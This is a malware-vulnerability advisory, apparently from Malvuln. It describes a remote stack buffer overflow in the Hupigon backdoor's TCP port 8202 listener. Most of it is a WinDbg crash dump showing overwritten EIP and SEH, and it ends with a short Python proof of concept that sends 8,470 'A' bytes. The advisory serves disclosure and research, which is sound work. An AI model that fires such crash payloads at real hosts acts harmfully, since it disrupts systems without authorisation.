Backdoor.Win32.Hupigon.aaio Buffer Overflow

Backdoor.Win32.Hupigon.aaio malware suffers from a buffer overflow vulnerability.


MD5 | 4a2443bad45a99c0300e1c362cbd60c6

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c38cd09fd5ebd1f0cc378804b2da08c4.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.aaio
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP ports 8200,8201,8202,8203 and UDP ports 8200,8204. Third-party attackers who can reach an infected host can trigger a classic remote buffer overflow by sending a large payload to TCP port 8202. This will overwrite the ECX and EIP stack registers and structured exception handler (SEH).
Type: PE32
MD5: c38cd09fd5ebd1f0cc378804b2da08c4
Vuln ID: MVID-2021-0255
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 06/20/2021

Memory Dump:
(ce8.ce4): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77909d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1668 ebp=000a1688 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???

0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77909d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1668 ebp=000a1688 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Hupigon.aaio.c38cd09fd5ebd1f0cc378804b2da08c4.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Hupigon.aaio.c38cd09fd5ebd1f0cc378804b2da08c4.exe

FAULTING_IP:
Backdoor_Win32_Hupigon_aaio_c38cd09fd5ebd1f0cc378804b2da08c4+e7e68
004e7e68 8b8068030000 mov eax,dword ptr [eax+368h]

EXCEPTION_RECORD: 0019d22c -- (.exr 0x19d22c)
ExceptionAddress: 004e7e68 (Backdoor_Win32_Hupigon_aaio_c38cd09fd5ebd1f0cc378804b2da08c4+0x000e7e68)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 414144a9
Attempt to read from address 414144a9

PROCESS_NAME: Backdoor.Win32.Hupigon.aaio.c38cd09fd5ebd1f0cc378804b2da08c4.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: 41414141

WRITE_ADDRESS: 41414141

FOLLOWUP_IP:
user32!DispatchMessageWorker+0
77138c30 8bff mov edi,edi

FAILED_INSTRUCTION_ADDRESS:
+0
41414141 ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT: 0019d27c -- (.cxr 0x19d27c)
eax=41414141 ebx=004e7e65 ecx=00000000 edx=026f45f8 esi=00000000 edi=0019dcb4
eip=004e7e68 esp=0019d6dc ebp=0019fce8 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
Backdoor_Win32_Hupigon_aaio_c38cd09fd5ebd1f0cc378804b2da08c4+0xe7e68:
004e7e68 8b8068030000 mov eax,dword ptr [eax+368h] ds:002b:414144a9=????????
Resetting default scope

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 41414141 to 004e7e68

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

FRAME_ONE_INVALID: 1

STACK_TEXT:
0019d6dc 004e7e68 backdoor_win32_hupigon_aaio+0xe7e68
0019fcf0 41414141 unknown!printable+0x0
0019fcf4 41414141 unknown!printable+0x0
0019fcf8 41414141 unknown!printable+0x0
0019fcfc 41414141 unknown!printable+0x0
0019fd00 41414141 unknown!printable+0x0
0019fd04 41414141 unknown!printable+0x0
0019fd08 41414141 unknown!printable+0x0
0019fe08 00466640 backdoor_win32_hupigon_aaio+0x66640
0019fe20 0046664f backdoor_win32_hupigon_aaio+0x6664f
0019fe84 771390dc user32!DispatchMessageWorker+0x4ac
026d0fdd 492f5cff unknown!unknown+0x0
026d0fe1 2d03d800 unknown!unknown+0x0
026d0fe5 f01de804 unknown!unknown+0x0
026d0fe9 d680ffff unknown!unknown+0x0
026d0fed 15380044 unknown!unknown+0x0
026d0ff1 10e80428 unknown!unknown+0x0
026d0ff5 78fffff0 unknown!unknown+0x0
026d0ff9 f800468a unknown!unknown+0x0
026d0ffd 00042812 unknown!unknown+0x0


STACK_COMMAND: .cxr 000000000019D27C ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19d6dc ; kb

SYMBOL_NAME: user32!DispatchMessageWorker+0

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: user32

IMAGE_NAME: user32.dll

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_user32.dll!DispatchMessageWorker

BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_user32!DispatchMessageWorker+0

0:000> !exchain
0019fd28: 41414141
Invalid exception stack at 41414141


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=8202

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="A"*8470
s.send(PAYLOAD)

print("Backdoor.Win32.Hupigon.aaio / Remote Stack Buffer Overflow")
print("MD5: c38cd09fd5ebd1f0cc378804b2da08c4")
print("By Malvuln")

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Related Posts